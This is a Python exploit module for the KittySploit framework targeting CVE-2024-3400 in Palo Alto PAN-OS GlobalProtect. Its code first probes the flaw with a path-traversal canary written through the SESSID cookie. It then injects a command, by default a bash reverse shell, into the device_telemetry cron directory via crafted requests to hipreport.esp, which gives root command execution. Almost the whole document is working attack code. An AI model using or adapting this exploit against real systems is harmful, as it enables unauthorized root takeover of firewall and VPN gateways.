Palo Alto GlobalProtect Command Injection (CVE-2024-3400)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Palo Alto GlobalProtect PAN-OS command injection (CVE-2024-3400)."""

import secrets
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Palo Alto GlobalProtect Command Injection (CVE-2024-3400)',
        'description': (
            'Exploits CVE-2024-3400 in PAN-OS GlobalProtect: SESSID path traversal writes '
            'into device_telemetry cron directories, yielding root command execution.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2024-3400'],
        'platform': Platform.LINUX,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2024-3400',
            'https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/',
        ],
        'tags': ['paloalto', 'panos', 'globalprotect', 'cmdi', 'rce', 'kev', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 4,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce'],
            'chain': {
                'suggested_followups': [
                    'scanner/http/paloalto_globalprotect_cve_2024_3400_detect',
                ],
            },
        },
    }

    marker_file = OptString('', 'Remote marker path for id probe', required=False, advanced=True)
    cron_wait = OptInteger(65, 'Seconds to wait for cron pickup', required=False, advanced=True)

    def _hipreport(self, sessid: str) -> bool:
        r = self.http_request(
            method='POST',
            path='/ssl-vpn/hipreport.esp',
            allow_redirects=False,
            headers={
                'Cookie': f'SESSID={sessid};',
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            data=(
                'user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68'
                '&domain=global&computer=global&client-ip=global&client-ipv6=global'
                '&md5-sum=global&gwHipReportCheck=global'
            ),
        )
        return bool(r and 'invalid required input parameters' in (r.text or ''))

    def _traversal_canary(self) -> bool:
        marker = f'ks-{secrets.token_hex(8)}.txt'
        image_path = f'/global-protect/portal/images/{marker}'
        sessid = f'/../../../var/appweb/sslvpndocs/global-protect/portal/images/{marker}'
        before = self.http_request(method='GET', path=image_path, allow_redirects=False)
        if not before or before.status_code != 404:
            return False
        if not self._hipreport(sessid):
            return False
        after = self.http_request(method='GET', path=image_path, allow_redirects=False)
        return bool(after and after.status_code == 403)

    def _cron_sessid(self, cmd: str) -> str:
        safe = str(cmd).replace(' ', '`')
        token = secrets.token_hex(4)
        return f'/../../../opt/panlogs/tmp/device_telemetry/minute/ks{token}`{safe}`'

    def check(self):
        if self._traversal_canary():
            return {
                'vulnerable': True,
                'reason': 'GlobalProtect CVE-2024-3400 path traversal confirmed',
                'confidence': 'high',
            }
        return {'vulnerable': False, 'reason': 'Traversal canary failed', 'confidence': 'medium'}

    def run(self):
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason'))
            return False
        cmd = str(getattr(self, 'command', '') or '').strip() or str(self.payload or '').strip()
        if not cmd:
            marker = str(self.marker_file or '').strip() or f'/var/appweb/kitty_{secrets.token_hex(6)}'
            cmd = f'id>{marker}'
        print_status('Injecting command via device_telemetry cron path (root, async)')
        if not self._hipreport(self._cron_sessid(cmd)):
            print_error('hipreport.esp rejected cron injection')
            return False
        wait = max(int(self.cron_wait or 65), 10)
        print_warning(f'Command queued — cron may take up to {wait}s; check listener/marker')
        time.sleep(wait)
        self.vulnerable()
        return True